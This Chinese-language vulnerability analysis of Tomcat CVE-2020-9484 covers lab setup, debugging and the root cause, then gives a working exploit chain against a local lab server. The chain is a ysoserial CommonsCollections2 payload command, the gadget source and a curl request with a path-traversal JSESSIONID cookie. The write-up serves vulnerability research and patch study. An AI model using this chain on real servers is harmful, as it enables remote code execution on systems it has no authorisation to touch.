摘要: 本文借助CVE-2020-9484 Tomcat漏洞详细的介绍了本地和远程调试Tomcat 源码。分析漏洞成因以及补丁修补情况,以及分析ysoserial反序列化链。
本文借助CVE-2020-9484 Tomcat漏洞详细的介绍了本地和远程调试Tomcat 源码。分析漏洞成因以及补丁修补情况,以及分析ysoserial反序列化链。
Apache Tomcat发布通告称修复了一个源于持久化Session的远程代码执行漏洞(CVE-2020-9484)。漏洞条件比较苛刻: 1. tomcat必须启用session持久化功能FileStore 2. tomcat/lib或者WEB-INF/lib目录下的依赖存在可用的gadget 3. 在服务器上存在已知路径文件内容可控
Apache Tomcat 10.x < 10.0.0-M5 Apache Tomcat 9.x < 9.0.35 Apache Tomcat 8.x < 8.5.55 Apache Tomcat 7.x < 7.0.104
从官网下载tomcat 8.5.30
0x1 配置session持久化
conf/context.xml
<Manager className="org.apache.catalina.session.PersistentManager" debug="0" saveOnRestart="false" maxActiveSession="-1" minIdleSwap="-1" maxIdleSwap="-1" maxIdleBackup="-1"> <Store className="org.apache.catalina.session.FileStore" directory="./session" /> </Manager>
0x2 部署Gadgets jar包
下载commons-collections4-4.0.jar 并放在tomcat lib/目录下
0x1 本地调试
利用intellij idea 进行本地调试,创建项目、添加tomcat服务、添加tomcat源码包、配置项目lib库文件
Step1 创建项目
创建web Application项目
Step2 添加tomcat服务
选择configurations 配置tomcat 服务信息如下图所示
选择tomcat local ,tomcat 路径、配置端口等
Step3 添加tomcat源码
在intellij idea中添加tomcat 源码
Step4 配置项目lib库文件
为了使得代码能够索引方便调试,将tomcat 相关jar以及源码设成为library,如下图所示
0x2 远程调试
利用intellij idea 进行远程调试,修改默认启动脚本、添加remote调试配置
0x1 修改启动脚本
修改catalina.bat添加debug配置,调试端口为 5005,这是要检验端口有没有被防火墙禁掉
CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE - Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005"
查看端口是否开放
╰─➤ lsof -i:5005 1 ↵ COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME java 65934 xx 6u IPv4 0x66cb19ff98f7365b 0t0 TCP localhost:avt-profile-2 (LISTEN)
0x2 打开项目
直接打开tomcat 8.5.30 源代码
0x3 配置debug属性
在intellij idea中配置debug ip及port
当使用tomcat时,如果使用了tomcat提供的session持久化功能,就会在一次会话中尝试读取session文件中的内容,并进行反序列化。
具体逻辑如下:
0x1 路径拼接
如果打开了session 持久化 那么tomcat将会把session 的名称作为文件名并进行读取。
java 路径 org.apache.catalina.session.FileStore:
在file函数中直接将id作为文件名进行拼接,这里可以进行路径穿越到根目录,如下图所示:
0x2 反序列化
Tomcat拼接过路径之后把读取的文件内容带入反序列化函数,如果此时存在文件上传漏洞,就可以达到反序列化RCE的效果。
0x1 生成payload
通过Ysoserial 生成反序列化文件,生成方式和原理如下,生成弹出计算器的CommonsCollections2 反序列化payload
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections2 "/Applications/Calculator.app/Contents/MacOS/Calculator" > /tmp/test.session
生成payload的关键代码
@Dependencies({"org.apache.commons:commons-collections4:4.0"}) @Authors({"frohoff"}) public class CommonsCollections2 implements ObjectPayload<Queue<Object>> { public CommonsCollections2() { } public Queue<Object> getObject(String command) throws Exception { Object templates = Gadgets.createTemplatesImpl(command); InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); PriorityQueue<Object> queue = new PriorityQueue(2, new TransformingComparator(transformer)); queue.add(1); queue.add(1); Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); Object[] queueArray = (Object[])((Object[])Reflections.getFieldValue(queue, "queue")); queueArray[0] = templates; queueArray[1] = 1; return queue; } public static void main(String[] args) throws Exception { PayloadRunner.run(CommonsCollections2.class, args); } }
完整漏洞利用链
/* Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec() */
具体关于利用链相关可参考 https://xz.aliyun.com/t/1756
0x2 触发
curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../../../../../../../tmp/test'
通过错误回显也可看出调用栈
从github tomcat 8.5.55 可以看出漏洞修补在文件判断上,目前没有找到绕过的姿势
https://www.secpulse.com/archives/133378.html
https://c0okb.github.io/2020/05/25/CVE-2020-9484-Tomcat-cluster-sync-session-%E5%A4%8D%E7%8E%B0/
https://xz.aliyun.com/t/1756
原文地址:https://www.freebuf.com/articles/web/242782.html